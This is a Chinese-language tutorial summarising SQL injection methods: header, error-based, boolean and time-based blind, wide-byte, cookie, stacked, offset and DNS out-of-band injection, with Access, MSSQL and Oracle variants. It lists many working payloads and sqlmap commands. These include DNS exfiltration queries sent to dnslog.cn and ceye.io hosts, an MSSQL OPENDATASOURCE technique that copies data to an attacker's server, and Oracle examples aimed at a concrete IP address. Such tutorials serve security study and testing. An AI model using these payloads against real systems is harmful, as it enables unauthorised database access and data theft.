Web安全之SQL注入總結
本文會介紹POST注入、Head注入、報錯注入、盲注、cookie注入、寬位元組注入、堆疊注入、偏移注入、DNS注入、Access、Mssql、Oracle注入原理和手法。
聯合注入:
按變數型別分:數字型和字元型
按HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布林注入、聯合注入、堆疊注入、報錯注入、時間盲注
按資料庫型別分:
sql:oracle、mysql、mssql、access、sqlite、postgersql
nosql:mongodb、redis
1、POST注入
在HTTP常用方法中,POST方法提交的資訊不儲存在URL中,而是儲存在HTTP實體內容中,在大多的提交過程,使用者是無感知的。
然後用Burpsuit抓包看到提交方式為POST和我們輸入的資料在HTTP實體中。
注入手法和聯合一樣:
使用SQLmap注入post型別方法如下:
2、Head注入
基礎知識:
PHP中的許多預定義變數都是“超全域性的”,這意味著它們在一個指令碼的全部作用域中都可用。這些超全域性變數是:
- $_REQUEST(獲取GET/POST/COOKIE)COOKIE在新版本已經無法獲取了$_POST(獲取POST傳參)
- $_GET(獲取GET的傳參)
- $_COOKIE(獲取cOOKIE的值)
- $_SERVER(包含了諸如頭資訊(header)、路徑(path)、以及指令碼位置(script locations)等等資訊的陣列)
$_SERVER功能強大。常用的:
$_SERVER['HTTP_REFERER]獲取Referer請求頭資料
$_SERVER["HTTP_USER_AGENT"]獲取使用者相關資訊,包括使用者瀏覽器、作業系統等資訊。s_SERVER["REMOTE_ADDR""]瀏覽網頁的使用者ip。
2.1 refer注入
本案例原始碼可看出,登入成功後使用插入語句將你的head資訊插入到資料庫中(插入語句不會回顯,使用報錯或盲注)。
我們用正確的使用者名稱密碼登入,然後抓包修改refer:
可以看到修改後的效果如下:
可以將sleep(10)改成其他的查詢語句,如
' or updatexml(1,concat ( ' ! ' , (select table_name from information_schema .tables where table_schema=database () limit 0,1) ) ,1),1) -- awd
補充一下如何判斷插入的欄位數:
假設只有一個欄位,只閉合
假設有兩個欄位,閉合後,並新增一個欄位,
假設有3個欄位,閉合後,並新增兩個欄位,
2.2 其他型別注入
還有XFF,Cookie等。這裡介紹XFF注入。我們發現網站會獲取我們的IP。
利用外掛設定XFF頭,如果網站不報錯,可嘗試此注入
X-Forward-For:127.0.0.1' and 1=2 -- awd
使用sqlmap時:先抓包,然後在refer(或UA)後面加上“*”,再跑。
3、報錯注入
MySQL 報錯注入主要分為以下幾類:
1. BigInt 等資料型別溢位;
2. Xpath 語法錯誤;
3. count() + rand() + group_by() 導致重複;
4. 空間資料型別函式錯誤。
很多函式會導致 MySQL 報錯並顯示出資料:
1. floor 函式;
2. extractvalue 函式;(最多32字元)
3. updatexml 函式;
4. exp() 函式;
介紹一個由函式引數格式錯誤引發的報錯注入:
updatexml()更新xml文件的函式
語法: updatexml(目標xml內容,xml文件路徑,更新的內容)
select updatexml(1,concat(‘!’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),1),1)
- select updatexml(1,’!a’,1) 用!是為了報錯
- concat(‘!’,database(),1) 拼接語句
- (select * from a) 加小括號是子查詢,有高優先順序
- 報錯注入返回的是字串,所以加上limit限制返回內容
4、盲注
length() 函式返回字串的長度;
substr() 擷取字串(語法:SUBSTR(str,pos,len),還有mid()函式;
ascii() 返回字元的ascii碼[將字元變為數字];
sleep(n) 將程式掛起一段時間,n為n秒;
if(expr1,expr2,expr3) 判斷語句如果第一個語句正確,就執行第二個語句;如果錯誤,執行第三個語句;
4.1 布林盲注
布林很明顯Ture跟Fales,也就是說它只會根據你的注入資訊返回Ture跟Fales,也就沒有了之前的報錯資訊。其流程如下:
1)判斷資料庫長度:and length(database()) >10
2)猜解庫名:and ascii(substr(database(),1,1)) > 97
可以使用Burpsuit的intruder模組跑包
3)繼續猜解其他欄位名
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 slecet必須先加括號用子查詢,然後擷取字串比較
猜資料庫長度(利用二分法)
id=1 and (length(database()))>50
id=1 and (length(database()))>25
猜第一個字元,第二個字元,以此類推
and ascii(mid(database(),1,1))>32
and ascii(mid(database(),2,1))>1
查詢第一個表的長度
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10
查詢當前資料庫中所有表名
and (select count(table_name)from information_schema.tables where tables_schema=database())>1
and (select count(table_name)from information_schema.tables where tables_schema=database())>10
查詢表的第一個字元
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
查詢atelier表裡有幾個欄位
and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2
查詢第一個欄位長度
and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1
查詢欄位第一個字元
and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105
查詢欄位所有行數
and (select count(*) from db83231_asfaa.atelier)>4
查詢欄位名的行數(查詢emails表,uname欄位)
and (select count(uname)from security.emails)>7 查詢uname的行數
查詢欄位內容
length((select username from security.users limit 0,1))>10
ascii(mid((select username from security.user limit 0,1),1,1))>100
4.2 時間盲注
介面返回值只有一種, true無論輸入任何值返回情況都會按正常的來處理。加入特定的時間函式,通過檢視web頁面返回的時間差來判斷注入的語句是否正確。
1)判斷注入點
and 1=1 and 1=2沒有變化
and sleep(5) 有變化
and if(1=1,sleep(5),sleep(1))
2)進行盲注
and if(length(database()) >10,sleep(5),1)
與布林盲注使用的函式一樣
3)可以使用SQLmap工具代替手工
5、寬位元組注入
Php < 5.4 有一個魔術開關,magic_quotes_gpc(魔術引號開關);高版本php使用其他效果相同的函式,addslashes()函式,
產生的效果是讓單引號(’)、雙引號(”)、反斜線(\)等字元都會被加上反斜線,那我們輸入的東西如果不能閉合掉單引號和雙引號,自然不會當作程式碼執行。
繞過方法:
數字型注入時無需閉合引號,在查表名時用16進位制(0x_ _)表示其中的單引號
字串型時:
-
{寬位元組} 方法:加%df,%aa,%81,漢字 原理:漢字必須用雙字元實現,所以使用GBK編碼或非英文編碼,將/(%2f)拼接成漢字。(注意可能出現自己傳的值會先被搜尋欄URL編碼)
-
{明白作用域} 方法:head注入 原理:因為魔術函式隻影響POST,GET,COOKIE注入
寬位元組注入原理:
使用寬位元組注入時有條件:mysql使用GBK編碼,
使用者提交: http://127.0.0.1/?id=1%df' or 1=1
('
瀏覽器自動進行url編碼%27
)
發生如下轉換: %df%27
====>(check_addslashes)====>%df%5c%27
====>(GBK)====>運'
MySQL執行的語句為:$sql="SELECT * FROM users WHERE id='1運' or 1=1 ";
成功將單引號閉合,可以進行SQL注入。
寬位元組注入:
%df ' and 1=1 -- awd
%df ' and 1=2 -- awd
POST型寬位元組注入
POST傳參會進行一次編碼、後端會進行一次解碼 : %df ->%25df (%URL編碼是%25)-> %df =>此時資料庫會認為是字串的%df。(GET型傳參,先看符不符合URL統一編碼,符合時就不插手,而post會強行編碼。)
繞過方法是先正常輸入:
然後burpsuit抓包,
找到我們的單引號,%27,直接加%df
成功執行我們構造的語句
使用SQLmap時,要輔助以下:sqlmap -u"xxx?id=1%df '";若抓資料包跑,仍然要加上閉合%df
6、cookie注入
php中的$_REQUEST可以獲取POST|GET|COOKIE傳參,且優先順序為Cookie>POST>GET。
注: php 5.4以上版本就不會接受Cookie傳參了。
設定cookie方式:
- 抓包修改
- 遊覽器外掛
- 遊覽器自帶JS進行設定:按F12,找控制檯,輸入 document.cookie="id="+escape("170")
什麼網站存在cookie注入:
1、ASP的站點存在可能性極高
2、PHP版本低於5.4的版本可能性極高
1) 判斷注入點:
將源URL的id=171刪掉,新增一個cookie設定id=171,發現修改cookie裡的id值影響頁面訪問。
2) 查詢資料
(cookie注入最好進行一次URL編碼)
3) sqlmap跑
抓包加id=414* 或者 sqlmap -u "www.asp" --cookie "id=414" --level 2
7、堆疊注入
在 MySQL 命令列中, 每一條語句結尾加“; ”表示語句結束。在 ; 結束一個SQL語句後繼續構造下一條語句,使多條語句順序執行,這就是堆疊注入。
union或者union all執行的語句型別是有限的,只可以用來執行查詢語句,而堆疊注入可以執行任意的語句。
判斷堆疊注入存在方法: id =1 ; sleep(10) 通過加“ ; ”,後面的SQL語句可以執行,則存在該漏洞。
8、偏移注入
只知道表名,可以使用移位溢注
1)判斷欄位數
判斷admin欄位數,使用嘗試法,
select 1,2,3,4,5,6,7,8,9,10,11,12,13,admin.* from admin
select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin
select 1,2,3,4,5,6,7,8,9,10,11,admin.* from admin
逐一嘗試,直至正常,則判斷出admin欄位數,若一直不正常,則說明需要換其他的注入頁面嘗試。
2)爆出欄位內容
select 1,2,3,4,5,6,7,admin .*,8,9,10,11 from admin
本質:
select 1,2,34,5,6,7,id,username,password,token,8,9,10,11 from admin
9、DNS注入
DNS注入,也可以看作一種帶外通道技術。利用DNS泛域名解析特性來使一種盲注返回資訊。
NDS泛域名解析特性是指利用萬用字元的方式將所有的次級域名指向同一 IP。註冊域名並配置域名解析的時候,在 DNS 伺服器中配置了下面的記錄。(*.example.com :IP)
那麼無論訪問abc.example.com,還是10086.example.com都會在你的伺服器日誌上顯示出來。那麼可以將查詢資料庫返回的資訊作為一級域名拼接到.example.com上,訪問這個域名,則通過檢視日誌,就知道返回的資訊是什麼了。
介紹幾個輔助資訊:
1)load_file(file_path) 是 MySQL 中一個讀取檔案內容的函式,該函式會讀取檔案內容,並將檔案內容作為字串返回。如果讀取失敗會返回 NULL。
該函式遵循 secure_file_priv 的限制,secure_file_priv 變數的值為 /var/lib/mysql-files,因此load_file()函式只能夠讀取該目錄下的檔案的內容。如果想要完成任意目錄下檔案讀取需要在 /etc/my.conf(my.ini) 中將 secure_file_priv 的值置為空。
2)UNC 路徑 \\servername\sharename ( Windows 系統中)(//servername/sharename[強烈建議這樣寫])
3)查詢資料資訊
and (select load_file(concat('//',database(),'.3e.dnslog.cn/abc'))) 或 and (select load_file(concat("\\\\",(select database()), ".7as54b.ceye.io\\abc")))
database()位置換成其他查詢語句,注意返回字串: and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),".7as54b.ceye.io\\abc")) -- awd
10、其他資料庫注入
常見的資料庫Mysql,Mssql,Access,Oracle
常見資料庫搭配方式:
- ASP——Access
- PHP——·Mysql | oracle | Mssql
- ASPX——mssql
- JSP——oracle Mysql
具體判斷要根據資料庫各自特徵:
1)連線符判斷:
- sql server
:id=1 and 'a'+'b'='ab' --
- mssql :
id=1 and 'a'+'b'='ab'
- mysql :
id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b')
- oracle :
id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')
2)特殊符號,註釋的判斷
- “null”和“%00”是Access支援的註釋
- “#”是MySQL中的註釋符,
- “- -”和/* */是Oracle,SQL server和MSSQL支援的註釋符,(mysql後面要加空格)。
- “;”是子句查詢識別符號,在Oracle中不支援多行查詢,返回錯誤,很可能是Oracle資料庫。
3)對Mssql和access資料庫的判斷:
- ’ and exists (select count(*) from sysobjects) >0正常,就是MSSQL資料庫
- ’ and exists (select count(*) from msysobjects) >0兩條都不正常,是Access資料庫
10.1 ACCESS 資料庫
沒有庫,只是表的集合,只需查詢表和欄位。
1)猜解表名
使用and exists (select * from 表名)爆破錶名,原理是有資料的表正常返回
2) 查詢欄位數
order by n
3 )查詢輸出位
and select 1,2,3 from 表名
4 )猜解欄位名
and select 1,id,3 from 表名 (猜解嘗試不同欄位名)
5) sqlmap跑
Sqlmap -u "" –tables 猜測表名
Sqlmap -u "" --columns -T 指定表名
sqlmap -u "" -T admin -C username --dump
6)偏移注入
10.2 MSSQL 資料庫
特點:sysobjects 系統自帶表
獲取使用者建立的表名 :select * from sysobjects where xtype='U'
獲取欄位名:select * from syscolumns where id = 123 (每一個表都有對應的ID)
1 ) 顯錯注入
判斷欄位數 id=1’order by 1 – qwe
判斷輸出點 id=1’union all select null,null,null -- qwe
id=1’and 1=2 union all select 1,null,null – qwe
逐一嘗試法,每個位置填入數字或字元(1或‘1’)進行測試,看頁面返回那個輸出點。(mssql的union只需要前後兩語句的欄位數相同,型別可以不同)
查詢表名 id=1’and 1=2 union all select null,null,* from sysobjects where xtype='U'-- qwe
2)反彈注入
目標資料庫是A,你在公網伺服器上建立了一個B資料,將A得到的資料插入到B資料庫裡面。
條件是SQL server資料庫,堆疊主人如存在,目標資料庫所在伺服器能聯網。
OPENDATASOURCE(provider_name,init_string)函式
provider_name:註冊為用於訪問資料來源的OLEDB提供程式的PROGID的名稱
init_string:連線字串,連線地址、埠、使用者名稱、密碼、資料庫名
server=連線地址,埠;uid=使用者名稱;pwd=密碼;database=資料庫名稱
堆疊加反彈:id =1 ; insert into opendatasource()
10.3 Oracle資料庫
1)特點
Dual是一個虛表,直接查詢他會回顯一個x,可以當作萬用表,補充語法結構。
Oracle是使用者、表、欄位、資料
select * from all_tables 查詢出所有的表
select * from user_tables 查詢出當前使用者的表
select*from all_tab_columns 查詢出所有的欄位
select*from user_tab_columns 查詢出當前使用者的欄位
select*from v$version 查版本
rownum=1 (限制查詢返回的總行數為一條) (若要取出2條資料,要寫rownum<3 而不是=2)
2)查詢欄位
union select null,null,null,null from dual
測試發現第一個欄位是數字型,非輸出位
測試發現第4個是數字型輸出位
3)報錯注入
3.1)查詢版本
lD=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))—qwe
Oracle報錯注入一次只能取出一條資料,若要獲取第二條使用如下語法: <>不等於’NEWS’就會出現第二條資訊,然後再不等於ADMIN,出現第三條
3.2)查詢表名
http: //59.63.200.79:8808/?id=1 and id=ctxsys.drithsx.sn(1 , (select table_name from user_tables where rownum=1) )--
3.3)查詢欄位名
http : //59.63.200.79:8808 /?id=1 and id=ctxsys.drithsx.sn (1 , (select column_name from user_tab_columns where rownum=1 and table name='ADMIN'))--.
4)回顯注入
我們發現第二個欄位既不是數字型也不是字串型,說明是Oracle自己特殊的型別:nvarchar2
使用轉換函式,可以回顯資料:
id=1 and 1=2 union select 1,to nchar(table_name) ,null,321 from user tables